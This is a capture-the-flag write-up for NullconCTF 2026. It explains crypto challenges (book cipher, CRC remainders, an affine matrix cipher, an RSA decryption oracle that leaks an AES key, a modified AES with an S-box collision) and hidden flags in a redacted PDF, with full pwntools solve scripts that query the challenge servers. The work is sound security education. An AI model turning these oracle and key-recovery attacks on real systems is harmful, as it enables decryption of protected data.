# NullconCTF 2026

## cry

### Booking Key

#### Description

A book cipher challenge using an abridged Alice's Adventures in Wonderland (Project Gutenberg #19033, "Storyland" series). The server encrypts a random 32-character password using a book cipher and sends the ciphertext (list of step counts). We must decrypt 3 passwords correctly to get the flag.

The encryption works by walking through the book text character-by-character: for each password character, it counts how many steps forward from the current position until that character is found. The count is appended to the cipher, and the cursor stays at the found position.

#### Solution

**Key observations:**

1. The book text is from PG #19033, including the "Produced by..." credit header and a trailing newline (total 53597 chars).
2. Given the cipher (list of offsets), we can try all possible starting positions and decrypt. Each starting position yields a unique candidate password.
3. Most starting positions produce non-letter characters (spaces, punctuation), so we filter for candidates where all 32 characters are ASCII letters.
4. To distinguish the correct candidate from false positives, we use two heuristics:
   * **Violation count**: For each step, check if the target character appears earlier than where the cipher says. The true password has 0 violations.
   * **Uppercase ratio**: Random passwords from 51 chars (25 upper, 26 lower) should have \~49% uppercase. False positives tend to land on common lowercase English text.

**Algorithm:**

* For each starting position (0 to len(BOOK)-1), compute cumulative sums of cipher values to get the 32 character positions.
* Filter: all positions must be letters.
* Score: count violations (target char appearing before expected position) and uppercase ratio.
* Pick the candidate with 0 violations and realistic uppercase ratio.

```python
#!/usr/bin/env python3
from pwn import *
import ast
import string

# Download PG #19033: https://www.gutenberg.org/files/19033/19033-0.txt
# Extract body between *** START *** and *** END *** markers
with open('pg19033.txt', 'r') as f:
    pg = f.read()
pg_s = pg.index('*** START OF THE PROJECT GUTENBERG EBOOK 19033 ***\n') + len('*** START OF THE PROJECT GUTENBERG EBOOK 19033 ***\n')
pg_e = pg.index('\n*** END OF THE PROJECT GUTENBERG EBOOK 19033 ***')
pg_body = pg[pg_s:pg_e]

# The server's book.txt = "Produced by..." header + PG body + trailing newline
header = ("Produced by Jason Isbell, Irma Spehar, and the Online\n"
          "Distributed Proofreading Team at http://www.pgdp.net\n"
          "\n\n\n\n\n\n\n\n\n")
BOOK = header + pg_body + "\n"

n = len(BOOK)
charset_set = set(c for c in string.ascii_letters if c in BOOK)
is_letter = [BOOK[i] in charset_set for i in range(n)]

def decrypt(cipher, book, start):
    current = start
    password = []
    for count in cipher:
        current = (current + count) % len(book)
        password.append(book[current])
    return ''.join(password)

def verify_and_score(cipher, book, start):
    current = start
    nn = len(book)
    violations = 0
    password = []
    for count in cipher:
        target_pos = (current + count) % nn
        target = book[target_pos]
        if target not in charset_set:
            return None
        for j in range(min(count, 500)):
            if book[(current + j) % nn] == target:
                violations += 1
                break
        password.append(target)
        current = target_pos
    pwd = ''.join(password)
    upper_count = sum(1 for c in pwd if c.isupper())
    return (violations, upper_count, pwd)

def solve(cipher):
    cum = []
    s = 0
    for c in cipher:
        s += c
        cum.append(s % n)

    candidates = []
    for start in range(n):
        valid = True
        for offset in cum:
            if not is_letter[(start + offset) % n]:
                valid = False
                break
        if valid:
            result = verify_and_score(cipher, BOOK, start)
            if result:
                candidates.append(result)
    candidates.sort(key=lambda x: (x[0], abs(x[1] - 15.7)))
    return candidates

r = remote('52.59.124.14', 5102)
r.recvline()

for _ in range(3):
    cipher = ast.literal_eval(r.recvline().decode().strip())
    candidates = solve(cipher)
    password = candidates[0][2]
    r.recvuntil(b'password: ')
    r.sendline(password.encode())
    print(r.recvline().decode().strip())

print(r.recvline().decode().strip())
r.close()
```

**Flag:** `ENO{y0u_f1nd_m4ny_th1ng5_in_w0nd3r1and}`

### Going in circles

#### Description

We're given a server that reads a flag, generates a random 32-bit polynomial `f`, computes a CRC-like reduction of the flag modulo `f` in GF(2)\[x], and prints both the result and `f`. Each connection gives a new random `f` but the same flag.

```python
from Crypto.Util import number
BITS = 32

def reduce(a,f):
    while (l := a.bit_length()) > BITS:
        a ^= f << (l - BITS)
    return a

flag = int.from_bytes(open('flag.txt','r').read().strip().encode(), byteorder = 'big')
f = number.getRandomNBitInteger(BITS)
print(reduce(flag,f),f)
```

#### Solution

The `reduce` function performs polynomial long division in GF(2)\[x] — this is exactly how CRC checksums work (hence "going in circles"). Each connection gives us `flag mod f` for a random 32-bit polynomial `f`.

Since GF(2)\[x] is a Euclidean domain, the Chinese Remainder Theorem applies. By collecting enough `(remainder, f)` pairs from the server and applying CRT in GF(2)\[x], we can reconstruct the full flag polynomial once the product of the moduli exceeds the flag's bit length.

Key details:

* The `reduce` function stops one step early (when `bit_length <= 32` instead of `< 32`), so we compute the proper remainder via an extra `gf2_mod(result, f)` step
* Random 32-bit polynomials often share small factors, so we use `remove_common_factors` to extract the coprime part of each new `f` relative to the accumulated modulus, maximizing information from each sample
* \~50 samples are sufficient for a typical flag length (\~300 bits)

```python
from pwn import *
import time

BITS = 32

def gf2_divmod(a, b):
    if b == 0:
        raise ZeroDivisionError
    deg_b = b.bit_length() - 1
    q = 0
    while a != 0 and a.bit_length() - 1 >= deg_b:
        shift = a.bit_length() - 1 - deg_b
        q ^= (1 << shift)
        a ^= b << shift
    return q, a

def gf2_mod(a, b):
    return gf2_divmod(a, b)[1]

def gf2_mul(a, b):
    result = 0
    while b:
        if b & 1:
            result ^= a
        a <<= 1
        b >>= 1
    return result

def gf2_gcd(a, b):
    while b:
        _, r = gf2_divmod(a, b)
        a, b = b, r
    return a

def gf2_ext_gcd(a, b):
    old_r, r = a, b
    old_s, s = 1, 0
    old_t, t = 0, 1
    while r:
        q, rem = gf2_divmod(old_r, r)
        old_r, r = r, rem
        old_s, s = s, old_s ^ gf2_mul(q, s)
        old_t, t = t, old_t ^ gf2_mul(q, t)
    return old_r, old_s, old_t

def gf2_crt(r1, m1, r2, m2):
    g, s, t = gf2_ext_gcd(m1, m2)
    assert g == 1
    mod = gf2_mul(m1, m2)
    x = gf2_mod(
        gf2_mul(r1, gf2_mul(t, m2)) ^ gf2_mul(r2, gf2_mul(s, m1)),
        mod
    )
    return x, mod

def remove_common_factors(f, mod):
    while True:
        g = gf2_gcd(f, mod)
        if g == 1:
            return f
        f, _ = gf2_divmod(f, g)
        if f <= 1:
            return f

samples = []
for i in range(50):
    r = remote('52.59.124.14', 5100)
    data = r.recvline().decode().strip()
    r.close()
    parts = data.split()
    remainder, f = int(parts[0]), int(parts[1])
    samples.append((gf2_mod(remainder, f), f))
    time.sleep(0.02)

current_r, current_mod = samples[0]
for i in range(1, len(samples)):
    r2, f2 = samples[i]
    f2_new = remove_common_factors(f2, current_mod)
    if f2_new <= 1:
        continue
    r2_new = gf2_mod(r2, f2_new)
    current_r, current_mod = gf2_crt(current_r, current_mod, r2_new, f2_new)

flag_bytes = current_r.to_bytes((current_r.bit_length() + 7) // 8, byteorder='big')
print(flag_bytes.decode())
# ENO{CRC_is_just_some_modular_remainder}
```

Flag: `ENO{CRC_is_just_some_modular_remainder}`

### Matrixfun II

#### Description

A "post-quantum cryptography" implementation that encrypts messages using an affine cipher over a custom alphabet. The server encrypts the flag and provides a chosen-plaintext oracle.

The encryption works as follows:

1. Base64-encode the plaintext
2. Pad with `=` to a multiple of 16 characters
3. For each 16-character block, map characters to indices in a custom 65-character alphabet (`a-zA-Z0-9+/=`), then compute `c = (A * m + b) mod 65` where A is a random 16x16 matrix and b is a random 16-vector

#### Solution

**Key insight 1: Chosen-plaintext oracle allows full key recovery.** By sending carefully crafted messages, we can recover A column-by-column and then compute b.

**Key insight 2: MOD = 65 = 5 \* 13 is composite.** The alphabet has 65 characters, not a prime number. This means Z/65Z is not a field, so standard modular matrix inversion fails. Instead, we must use the Chinese Remainder Theorem to solve the linear system in GF(5) and GF(13) separately, then combine results.

**Key recovery:**

* Send 12 zero bytes as reference. Base64 encodes to `AAAAAAAAAAAAAAAA` (all index 26).
* For each position j (0-15), send 12 bytes crafted so exactly one base64 position changes from `A` to `B` (index 26 to 27, difference of +1).
* The difference between each test cipher and the reference cipher gives column j of matrix A directly.
* Then `b = ref_cipher - A * [26]*16 (mod 65)`.

**Decryption via CRT:**

* For each flag cipher block, solve `A * x ≡ (c - b) (mod 65)` by:
  1. Solving `A * x ≡ (c - b) (mod 5)` in GF(5)
  2. Solving `A * x ≡ (c - b) (mod 13)` in GF(13)
  3. Combining via CRT to get x mod 65
* Convert recovered indices back to base64 characters and decode.

```python
#!/usr/bin/env python3
from pwn import *
import base64
import json

alphabet = b'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/='
MOD = len(alphabet)  # 65 = 5 * 13 (NOT prime!)
n = 16

def solve_in_field(A, rhs, p):
    """Solve A*x = rhs in GF(p) using Gaussian elimination"""
    sz = len(A)
    aug = [[a % p for a in A[i]] + [rhs[i] % p] for i in range(sz)]
    for col in range(sz):
        pivot = -1
        for row in range(col, sz):
            if aug[row][col] % p != 0:
                pivot = row
                break
        assert pivot != -1, f"Singular mod {p} at col {col}"
        aug[col], aug[pivot] = aug[pivot], aug[col]
        inv_val = pow(aug[col][col], p - 2, p)
        aug[col] = [(x * inv_val) % p for x in aug[col]]
        for row in range(sz):
            if row != col and aug[row][col] != 0:
                factor = aug[row][col]
                aug[row] = [(aug[row][j] - factor * aug[col][j]) % p for j in range(sz + 1)]
    return [aug[i][sz] for i in range(sz)]

def crt2(r1, m1, r2, m2):
    """CRT: find x such that x = r1 (mod m1) and x = r2 (mod m2)"""
    m1_inv = pow(m1, m2 - 2, m2)
    t = ((r2 - r1) * m1_inv) % m2
    return (r1 + m1 * t) % (m1 * m2)

def solve_system_mod65(A, rhs):
    """Solve A*x = rhs (mod 65) using CRT with p=5 and p=13"""
    x5 = solve_in_field(A, rhs, 5)
    x13 = solve_in_field(A, rhs, 13)
    return [crt2(x5[i], 5, x13[i], 13) for i in range(len(rhs))]

r = remote('52.59.124.14', 5101)

# Read encrypted flag
flag_cipher = json.loads(r.recvline().decode().strip())

def query(hex_msg):
    r.sendlineafter(b'(in hex): ', hex_msg)
    return json.loads(r.recvline().decode().strip())

# Reference: 12 zero bytes -> base64 'AAAAAAAAAAAAAAAA' -> all index 26
ref_cipher = query(b'000000000000000000000000')[:n]

# Recover A column by column: each test changes one b64 position by +1
A = [[0]*n for _ in range(n)]
for j in range(n):
    msg = bytearray(12)
    g, p = j // 4, j % 4
    if p == 0: msg[3*g] = 4        # changes b64 char at pos 4g
    elif p == 1: msg[3*g + 1] = 16  # changes b64 char at pos 4g+1
    elif p == 2: msg[3*g + 2] = 64  # changes b64 char at pos 4g+2
    elif p == 3: msg[3*g + 2] = 1   # changes b64 char at pos 4g+3
    cipher_j = query(msg.hex().encode())[:n]
    for i in range(n):
        A[i][j] = (cipher_j[i] - ref_cipher[i]) % MOD

# Recover b = ref_cipher - A * [26]*16 (mod 65)
ref_plain = [26] * n
Ap = [sum(A[i][j] * 26 for j in range(n)) % MOD for i in range(n)]
b_vec = [(ref_cipher[i] - Ap[i]) % MOD for i in range(n)]

# Decrypt flag using CRT-based solver
decrypted = []
for blk in range(len(flag_cipher) // n):
    block = flag_cipher[blk*n : (blk+1)*n]
    rhs = [(block[i] - b_vec[i]) % MOD for i in range(n)]
    decrypted.extend(solve_system_mod65(A, rhs))

# Convert indices to base64 and decode
b64_bytes = bytes([alphabet[idx] for idx in decrypted])
b64_str = b64_bytes.rstrip(b'=')
pad_needed = (4 - len(b64_str) % 4) % 4
b64_str += b'=' * pad_needed
flag = base64.b64decode(b64_str).decode()
print(flag)  # ENO{l1ne4r_alg3br4_i5_ev3rywh3re}

r.sendlineafter(b'(in hex): ', b'exit')
r.close()
```

Flag: `ENO{l1ne4r_alg3br4_i5_ev3rywh3re}`

### TLS

#### Description

"TLS 0.1" hybrid encryption protocol: RSA-1337 encrypts an AES-128-CBC key, and the server provides a decryption oracle. The server reveals whether the RSA-decrypted key value exceeds `2^128` ("something else went wrong") or not ("invalid padding" / other). The AES key is generated as `bytes(8) + os.urandom(8)`, giving only 64 bits of entropy.

Additionally, the CRT reconstruction has a bug (`% privkey.q` instead of `% privkey.p`), but this doesn't affect decryption of small plaintexts where `m_p == m_q`.

#### Solution

**Attack**: Binary search via RSA homomorphism + key-size oracle (Manger-style).

The AES key `k` satisfies `0 <= k < 2^64`. Using RSA's multiplicative homomorphism, multiplying the ciphertext by `s^e mod n` makes the server decrypt `k * s mod n`. Since `k * s` stays well below `min(p, q) ~ 2^668`, the buggy CRT still produces correct results.

The oracle boundary at `2^128` lets us binary search: choose `s = ceil(2^128 / mid)` so that `k * s >= 2^128` iff `k >= mid`. This recovers the full 64-bit key in exactly 64 queries, then we decrypt the flag ciphertext locally with AES-CBC.

```python
#!/usr/bin/env python3
from pwn import *
from Crypto.Util.number import bytes_to_long, long_to_bytes
from Crypto.Cipher import AES

r = remote('52.59.124.14', 5104)

n = int(r.recvline().strip().decode())
cipher_hex = r.recvline().strip().decode()
cipher = bytes.fromhex(cipher_hex)

# Parse ciphertext: len(4) + iv(16) + enc_msg(l) + enc_key
l = bytes_to_long(cipher[:4])
flag_iv = cipher[4:20]
flag_enc_msg = cipher[20:20+l]
flag_enc_key = bytes_to_long(cipher[20+l:])

e = 65537
B = 2**128

r.recvuntil(b'input cipher (hex): ')

def oracle(s_val):
    """Returns True if k * s_val < 2^128"""
    modified_enc_key = (flag_enc_key * pow(s_val, e, n)) % n
    crafted = (16).to_bytes(4, 'big') + b'\x00' * 16 + b'\x00' * 16 + long_to_bytes(modified_enc_key)
    r.sendline(crafted.hex().encode())
    response = r.recvuntil(b'input cipher (hex): ')
    return b'something else went wrong' not in response

# Binary search for the 64-bit AES key
lo, hi = 0, 2**64
while lo < hi - 1:
    mid = (lo + hi) // 2
    s_val = -(-B // mid)  # ceil(2^128 / mid)
    if oracle(s_val):
        hi = mid
    else:
        lo = mid

k = lo
key_bytes = b'\x00' * 8 + k.to_bytes(8, 'big')
decrypter = AES.new(key_bytes, AES.MODE_CBC, iv=flag_iv)
plaintext = decrypter.decrypt(flag_enc_msg)
pad_byte = plaintext[-1]
if 1 <= pad_byte <= 16:
    plaintext = plaintext[:-pad_byte]
log.success(f"Flag: {plaintext.decode()}")
r.close()
```

**Flag**: `ENO{Y4y_a_f4ctor1ng_0rac13}`

### Tetraes

#### Description

A modified AES implementation ("TetraES") encrypts the key with itself and provides an encryption oracle. We must recover the key to get the flag.

Key differences from standard AES:

* **S-box collision**: `S[0x00]` changed from `0x63` to `0x64`, creating a collision with `S[0x8C] = 0x64`. The S-box is no longer bijective.
* **No key schedule**: Round keys are simply byte-rotations of the original key (`rotate(key, r+1)`).
* **16 rounds** instead of 10.
* **Extra tweak**: `state[0][0] ^= r ^ 42` in each AddRoundKey.

#### Solution

The S-box collision `S[0x00] = S[0x8C] = 0x64` is the critical vulnerability.

**Core insight**: If two plaintexts P1 and P2 differ only at byte position `n` by `0x8C`, and the state byte at position `n` after the initial AddRoundKey is either `0x00` or `0x8C`, then SubBytes produces the same output for both. Since the rest of the computation is identical, both plaintexts encrypt to the same ciphertext.

After initial ARK: `state[n] = P[n] ^ K[n]` (with an extra `^42` at position 0). So the collision occurs when `P[n] ^ K_adj[n] in {0x00, 0x8C}`, revealing `K_adj[n]` to within 2 candidates.

**Attack**:

1. For each of the 16 byte positions, query the oracle with all 256 possible byte values (other bytes zero). Find which pair `(v, v ^ 0x8C)` produces identical ciphertexts.
2. This narrows each key byte to 2 candidates (2^16 = 65,536 total keys).
3. Brute-force locally using the self-encryption constraint `encrypt(K, K) = given_ciphertext`.

```python
from pwn import *

S = (
    0x64, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
    0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
    0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
    0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,
    0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
    0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
    0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,
    0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,
    0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,
    0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
    0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,
    0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,
    0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,
    0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,
    0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
    0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16,
)

def rotate(l, k):
    k %= len(l)
    return l[k:] + l[:k]

def cross(m, s):
    res = 0
    for i in range(4):
        if m[i] == 1:
            res ^= s[i]
        elif m[i] == 2:
            if s[i] < 128: res ^= s[i] << 1
            else: res ^= (s[i] << 1) ^ 0x11b
        else:
            res ^= s[i]
            if s[i] < 128: res ^= s[i] << 1
            else: res ^= (s[i] << 1) ^ 0x11b
    return res

def mix_column(state):
    cols = [[state[i][j] for i in range(4)] for j in range(4)]
    base_m = [2, 3, 1, 1]
    res = [[cross(rotate(base_m, -j), cols[i]) for j in range(4)] for i in range(4)]
    return [[res[i][j] for i in range(4)] for j in range(4)]

def ark(state, round_key, r):
    for i in range(4):
        for j in range(4):
            state[i][j] ^= round_key[4 * i + j]
    state[0][0] ^= r ^ 42
    return state

def aes(message, key):
    state = [[c for c in message[i*4:(i+1)*4]] for i in range(4)]
    state = ark(state, key, 0)
    for r in range(16):
        state = [[S[c] for c in row] for row in state]
        state = [rotate(state[i], i) for i in range(4)]
        state = mix_column(state)
        state = ark(state, rotate(key, r + 1), r + 1)
    return b''.join(bytes(row) for row in state)

def encrypt(message, key):
    if len(message) % 16 != 0:
        message = message + b'\x00' * (16 - len(message) % 16)
    cipher = b''
    for i in range(0, len(message), 16):
        cipher += aes(message[i:i + 16], key)
    return cipher

def recv_ct(r):
    line = r.recvline().decode().strip()
    while 'cipher.hex()' not in line:
        line = r.recvline().decode().strip()
    ct = line.split("'")[1]
    r.recvuntil(b'message to encrypt: ')
    return ct

r = remote('52.59.124.14', 5103)
line = r.recvline().decode().strip()
self_ct = line.split("'")[1]
r.recvuntil(b'message to encrypt: ')

candidates = [None] * 16
for n in range(16):
    # Pipeline 256 queries for this byte position
    for v in range(256):
        p = bytearray(16)
        p[n] = v
        r.sendline(p.hex().encode())
    cts = {}
    for v in range(256):
        cts[v] = recv_ct(r)
    # Find the collision pair (v, v^0x8C) with matching ciphertexts
    for v in range(128):
        if cts[v] == cts[v ^ 0x8C]:
            candidates[n] = (v, v ^ 0x8C)
            break

r.sendline(b'end')

# Convert K_adj to K (position 0 has extra ^42 tweak)
key_candidates = [None] * 16
for n in range(16):
    a, b = candidates[n]
    if n == 0:
        key_candidates[n] = (a ^ 42, b ^ 42)
    else:
        key_candidates[n] = (a, b)

# Brute-force 2^16 candidates against self-encryption
self_ct_bytes = bytes.fromhex(self_ct)
for bits in range(2**16):
    key_guess = bytes(key_candidates[n][1 if bits & (1 << n) else 0] for n in range(16))
    if encrypt(key_guess, key_guess) == self_ct_bytes:
        r.sendlineafter(b'key in hex? ', key_guess.hex().encode())
        print(r.recvall(timeout=5).decode())
        break
```

Flag: `ENO{a1l_cop5_ar3_br0adca5t1ng_w1th_t3tra}`

***

## misc

### rdctd 1

#### Description

We are given a PDF (`attachments/Planned-Flags-signed-2.pdf`) that contains 6 hidden flags. This task asks for the flag “containing a 1”.

#### Solution

On page 3 the PDF contains a readable sentence with the first flag:

* `ENO{stability gradient 1 disrupted}`

However, the PDF does **not** encode the separators as literal underscore characters. Instead, the “\_” separators are drawn as tiny line segments between words (visible by inspecting the page’s content stream, e.g. `mutool show attachments/Planned-Flags-signed-2.pdf 37`), so `pdftotext` extracts them as spaces. Therefore, to get the real flag we:

1. Extract all `ENO{...}` occurrences with `pdftotext -layout`.
2. For each match, split the inner text on whitespace and join with `_`.
3. Pick the first normalized flag containing token `1`.

Result:

* `ENO{stability_gradient_1_disrupted}`

Run:

* `./solve.sh`

Solution code (`solve.py` and `solve.sh`):

```python
#!/usr/bin/env python3
import re
import subprocess
import sys
from pathlib import Path


def pdftotext(pdf_path: Path) -> str:
    try:
        return subprocess.check_output(
            ["pdftotext", "-layout", str(pdf_path), "-"],
            stderr=subprocess.DEVNULL,
            text=True,
        )
    except FileNotFoundError:
        raise SystemExit("pdftotext not found in PATH")


def normalize_flag(flag_text: str) -> str:
    inner = flag_text[len("ENO{") : -1]
    parts = [p for p in re.split(r"\s+", inner.strip()) if p]
    cleaned = []
    for part in parts:
        part = re.sub(r"^[^A-Za-z0-9]+|[^A-Za-z0-9]+$", "", part)
        if part:
            cleaned.append(part)
    return "ENO{" + "_".join(cleaned) + "}"


def main() -> int:
    pdf = Path(sys.argv[1]) if len(sys.argv) > 1 else Path("attachments/Planned-Flags-signed-2.pdf")
    if not pdf.exists():
        print(f"PDF not found: {pdf}", file=sys.stderr)
        return 2

    text = pdftotext(pdf)
    candidates = re.findall(r"ENO\{[^}]+\}", text)
    normalized = [normalize_flag(c) for c in candidates]

    want = [f for f in normalized if re.search(r"(^|_)1(_|\})", f)]
    want = sorted(set(want), key=normalized.index)
    if not want:
        print("No flag containing '1' found", file=sys.stderr)
        return 1

    print(want[0])
    return 0


if __name__ == "__main__":
    raise SystemExit(main())
```

```bash
#!/usr/bin/env bash
set -euo pipefail
python3 solve.py
```

### rdctd 2

#### Description

We are given `attachments/Planned-Flags-signed-2.pdf` and told the PDF contains multiple hidden flags; for this challenge we must submit the one containing a `2`.

#### Solution

The PDF contains clickable link annotations (`/Subtype /Link`) whose target URI embeds the flag, but with the braces escaped in the PDF string as `\\{` and `\\}`.

You can spot it quickly by grepping PDF objects:

```bash
mutool show attachments/Planned-Flags-signed-2.pdf grep input_sanitization
```

This reveals an annotation like: `URI(https://ctf.nullcon.net/ENO\\{input_sanitization_2_is_overrated\\})` which unescapes to the flag: `ENO{input_sanitization_2_is_overrated}`.

Automated extraction (script used):

```python
#!/usr/bin/env python3
import re
import sys

import pikepdf


FLAG_RE = re.compile(r"ENO\{[^}]+\}")


def extract_flag_from_pdf(pdf_path: str) -> str:
    pdf = pikepdf.Pdf.open(pdf_path)

    for page in pdf.pages:
        annots = page.get("/Annots", None)
        if not annots:
            continue
        for annot_ref in annots:
            annot = annot_ref.get_object()
            if annot.get("/Subtype", None) != pikepdf.Name("/Link"):
                continue
            action = annot.get("/A", None)
            if not action:
                continue
            uri = action.get("/URI", None)
            if not uri:
                continue

            s = str(uri)
            s = s.replace(r"\{", "{").replace(r"\}", "}")

            m = FLAG_RE.search(s)
            if m:
                return m.group(0)

    raise RuntimeError("Flag not found in PDF annotations")


def main() -> int:
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <pdf>", file=sys.stderr)
        return 2
    print(extract_flag_from_pdf(sys.argv[1]))
    return 0


if __name__ == "__main__":
    raise SystemExit(main())
```

Run it:

```bash
python3 solve.py attachments/Planned-Flags-signed-2.pdf
```

### rdctd 3

#### Description

We are given `attachments/Planned-Flags-signed-2.pdf`, a “published” document with redactions. The prompt says there are 6 hidden flags in the PDF; this challenge wants the one containing a `3`.

#### Solution

The PDF’s page 2 (section **3.2**) is not real text: it’s a blurred *embedded raster image* placed via `/Im1 Do` in the page content stream. So normal PDF text extraction can’t recover it; we must extract the image and deblur it.

Steps:

1. Locate the embedded image:
   * Clean/uncompress PDF to inspect streams (optional): `mutool clean -d attachments/Planned-Flags-signed-2.pdf work/clean.pdf`
   * Page 2 content uses an image XObject: `mutool show -b work/clean.pdf 31 | rg "/Im1 Do"`
   * The referenced XObject is the only image with dimensions **1042×337**.
2. Extract that image from the PDF.
3. Apply a simple Wiener deconvolution with a Gaussian PSF to reverse the blur enough to read the repeated token.
4. Read the third flag from the deblurred output:
   * `ENO{semantic_3_inference_initialized}`

**Code**

`solve.py` (writes deblurred images to `solve_out/`):

```python
#!/usr/bin/env python3
"""
Solve rdctd 3 (flag containing a 3) by extracting the blurred image from the PDF
and applying a simple deconvolution to make the redacted text readable.

This script is intentionally offline and self-contained (uses local PDF only).
"""

from __future__ import annotations

import argparse
from pathlib import Path

import numpy as np
import pikepdf
from pikepdf import PdfImage
from PIL import Image, ImageEnhance
from skimage.restoration import wiener


def gaussian_psf(sigma: float) -> np.ndarray:
    k = int(sigma * 6 + 1)
    if k % 2 == 0:
        k += 1
    ax = np.arange(-(k // 2), k // 2 + 1, dtype=np.float32)
    xx, yy = np.meshgrid(ax, ax)
    psf = np.exp(-(xx**2 + yy**2) / (2 * sigma * sigma))
    psf /= psf.sum()
    return psf.astype(np.float32)


def percentile_stretch(img01: np.ndarray, lo: float = 1.0, hi: float = 99.0) -> np.ndarray:
    img01 = np.clip(img01, 0.0, 1.0)
    p_lo, p_hi = np.percentile(img01, [lo, hi])
    return np.clip((img01 - p_lo) / (p_hi - p_lo + 1e-6), 0.0, 1.0)


def deref(obj):
    return obj.get_object() if hasattr(obj, "get_object") else obj


def extract_target_image(pdf_path: Path) -> Image.Image:
    """
    The blurred paragraph in section 3.2 is embedded as a raster image (1042x337).
    Extract the unique image with those dimensions.
    """
    with pikepdf.open(str(pdf_path)) as pdf:
        matches: list[Image.Image] = []

        for page in pdf.pages:
            resources = deref(page.get("/Resources", None))
            if not isinstance(resources, pikepdf.Dictionary):
                continue
            xobj = deref(resources.get("/XObject", None))
            if not isinstance(xobj, pikepdf.Dictionary):
                continue

            for _, obj in xobj.items():
                try:
                    obj = deref(obj)
                    if not isinstance(obj, (pikepdf.Stream, pikepdf.Dictionary)):
                        continue
                    if obj.get("/Subtype") != "/Image":
                        continue
                    if int(obj.get("/Width", 0)) != 1042 or int(obj.get("/Height", 0)) != 337:
                        continue
                    matches.append(PdfImage(obj).as_pil_image())
                except Exception:
                    continue

    if not matches:
        raise SystemExit("Could not find the 1042x337 embedded image in the PDF.")
    if len(matches) > 1:
        # In practice this challenge has exactly one such image. If that changes,
        # prefer the RGB one (not the white-only mask).
        rgb = [im for im in matches if im.mode in ("RGB", "RGBA")]
        if len(rgb) == 1:
            return rgb[0]
        raise SystemExit(f"Found {len(matches)} candidate images; expected exactly 1.")
    return matches[0]


def main() -> None:
    ap = argparse.ArgumentParser()
    ap.add_argument(
        "--pdf",
        default="attachments/Planned-Flags-signed-2.pdf",
        help="Path to the challenge PDF (default: attachments/Planned-Flags-signed-2.pdf)",
    )
    ap.add_argument("--outdir", default="solve_out", help="Output directory (default: solve_out)")
    ap.add_argument("--sigma", type=float, default=3.0, help="Gaussian PSF sigma (default: 3.0)")
    ap.add_argument("--balance", type=float, default=0.003, help="Wiener balance (default: 0.003)")
    args = ap.parse_args()

    pdf_path = Path(args.pdf)
    outdir = Path(args.outdir)
    outdir.mkdir(parents=True, exist_ok=True)

    embedded = extract_target_image(pdf_path)
    embedded.save(outdir / "embedded.png")

    gray = embedded.convert("L")
    arr = (np.asarray(gray).astype(np.float32) / 255.0).clip(0.0, 1.0)

    psf = gaussian_psf(args.sigma)
    deconv = wiener(arr, psf, balance=args.balance, clip=False)
    deconv = percentile_stretch(np.asarray(deconv, dtype=np.float32), 1.0, 99.0)

    deconv_u8 = (deconv * 255.0).astype(np.uint8)
    Image.fromarray(deconv_u8, mode="L").save(outdir / "deconv_gray.png")

    # Light extra contrast + binarization for easier reading.
    pil = Image.fromarray(deconv_u8, mode="L")
    pil = ImageEnhance.Contrast(pil).enhance(1.7)
    bw = pil.point(lambda p: 255 if p > 140 else 0, mode="1")
    bw.save(outdir / "deconv_bw.png")

    # Helpful zoomed crops around the repeated flag token occurrences.
    zoom = pil.resize((pil.width * 4, pil.height * 4), resample=Image.Resampling.BICUBIC)
    zoom.save(outdir / "deconv_zoom.png")
    for idx, y in enumerate([20, 95, 170, 245], start=1):
        top = max(y - 15, 0)
        bottom = min(y + 45, pil.height)
        crop = pil.crop((0, top, pil.width, bottom)).resize(
            (pil.width * 6, (bottom - top) * 6), resample=Image.Resampling.BICUBIC
        )
        crop.save(outdir / f"line_{idx}.png")

    print(f"Wrote outputs to: {outdir}")
